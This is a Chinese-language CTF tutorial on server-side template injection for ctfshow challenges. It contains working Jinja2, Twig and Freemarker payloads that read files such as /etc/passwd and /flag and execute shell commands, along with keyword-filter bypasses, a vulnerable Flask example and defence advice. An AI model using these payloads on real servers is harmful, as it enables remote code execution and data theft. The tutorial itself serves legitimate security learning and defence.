1. SSTI模板注入攻击概述
SSTI(Server-Side Template Injection)是一种常见的Web安全漏洞,它允许攻击者通过模板引擎的解析机制注入恶意代码。在CTF比赛中,这类题目频繁出现,特别是ctfshow平台的Web入门系列。模板注入与常规的SQL注入、XSS攻击不同,它针对的是服务器端的模板渲染过程。
模板引擎原本是为了方便开发者动态生成HTML而设计的,比如Python的Jinja2、PHP的Smarty、Java的Freemarker等。当用户输入被直接拼接到模板中时,如果缺乏适当的过滤和转义,就会产生注入漏洞。攻击者可以通过精心构造的输入,突破模板的限制,执行任意代码或读取敏感数据。
注意:不同编程语言的模板引擎语法差异很大,但漏洞原理相通。在ctfshow的题目中,Python的Jinja2和PHP的Twig出现频率最高。
2. SSTI漏洞检测与确认
2.1 基础检测方法
最简单的检测方式是插入模板表达式语法。对于疑似Jinja2引擎的环境,可以尝试输入{{7*7}},如果页面返回49,就存在注入漏洞。其他常见测试payload:
{{7*'7'}}→ 7777777(Python)${7*7}→ 49(某些Java模板)<%= 7*7 %>→ 49(ERB模板)
如果页面返回错误信息,要特别关注堆栈跟踪,其中往往包含使用的模板引擎类型和版本信息。ctfshow的题目通常会给出明确提示,但实际比赛中需要自己判断。
2.2 上下文识别技巧
模板注入分为两类情况:
- 直接文本上下文:用户输入直接作为模板内容解析
template = f"Hello, {user_input}" # 危险! - 代码上下文:用户输入作为模板变量值
template = "Hello, {{name}}" render(name=user_input) # 相对安全
在ctfshow的题目中,第一种情况更为常见。可以通过输入特殊字符(如${{<%[%'"}}%\)观察报错行为来判断上下文类型。
3. 利用链构造与Payload设计
3.1 Python(Jinja2)利用链
Jinja2是ctfshow题目中最常出现的模板引擎。其利用链通常基于Python的对象继承关系:
{{ ''.__class__.__mro__[1].__subclasses__() }}这个payload展示了经典的对象链调用:
- 空字符串的
__class__获取其类型(str) __mro__获取方法解析顺序(tuple)- 索引1获取object基类
__subclasses__()列出所有子类
从返回的子类列表中,我们需要寻找危险的类,比如:
os._wrap_close:可用于执行命令subprocess.Popen:执行系统命令warnings.catch_warnings:包含文件操作
3.2 常用Payload集合
根据ctfshow题目特点,整理这些高频有效payload:
信息收集:
{{ config }} # 查看Flask配置 {{ self.__dict__ }} # 查看当前模板对象文件读取:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}命令执行:
{{ ''.__class__.__mro__[1].__subclasses__()[213]('ls',shell=True,stdout=-1).communicate()[0] }}绕过过滤:当关键字被过滤时,可以使用这些技巧:
- 字符串拼接:
'__cl'+'ass__' - 十六进制编码:
'\x5f\x5fclass\x5f\x5f' - 属性访问替代:
getattr('', '__class__')
4. ctfshow真题实战解析
4.1 Web入门题SSTI典型结构
ctfshow的SSTI题目通常采用Flask框架,核心漏洞代码类似:
@app.route('/vuln') def vuln(): name = request.args.get('name', 'guest') template = f"<h1>Hello {name}!</h1>" return render_template_string(template)解题步骤:
- 测试基础payload确认漏洞
- 枚举可用子类寻找利用点
- 构造最终payload获取flag
4.2 题目Web345详解
以ctfshow的web345为例,题目给出了一个简单的欢迎页面。通过测试发现{{7*7}}返回49,确认SSTI。
使用子类枚举payload后,发现第40号是<class 'os._wrap_close'>。构造文件读取:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/flag').read() }}但题目设置了过滤,需要绕过:
- 过滤了
class→ 使用__class__替代 - 过滤了
[]→ 使用__getitem__方法 - 过滤了
os→ 通过数字索引引用
最终payload:
{{ ''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/flag').read() }}5. 防御措施与安全建议
5.1 开发者防护方案
对于使用模板引擎的开发人员:
- 永远不要直接拼接用户输入到模板
- 使用安全的模板变量传递方式:
# 安全做法 return render_template('index.html', name=user_input) - 启用模板引擎的沙箱模式(如果有)
- 对动态内容严格过滤,特别是
__、{{等特殊符号
5.2 CTF选手注意事项
在ctfshow等平台解题时:
- 先确定模板引擎类型(通过错误信息或特征测试)
- 准备不同引擎的payload字典
- 注意题目是否设置了特殊过滤规则
- 善用Python的
dir()函数探索对象属性 - 当直接执行命令失败时,尝试先读取源码
经验:遇到复杂过滤时,可以先用
print(dir())查看可用对象,往往能发现意想不到的利用链。
6. 扩展知识与资源
6.1 其他模板引擎payload
除了Jinja2,ctf中常见的模板引擎利用方式:
Twig(PHP):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}Freemarker(Java):
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }6.2 自动化工具推荐
虽然手动构造payload是基本功,但也可以使用这些工具提高效率:
- tplmap:自动检测和利用SSTI
- Jinja2调试器:交互式测试模板渲染
- Burp Suite插件:如"SSTI Scanner"
不过ctfshow的题目通常需要定制化payload,工具往往只能作为辅助。真正理解原理才能应对各种变形题目。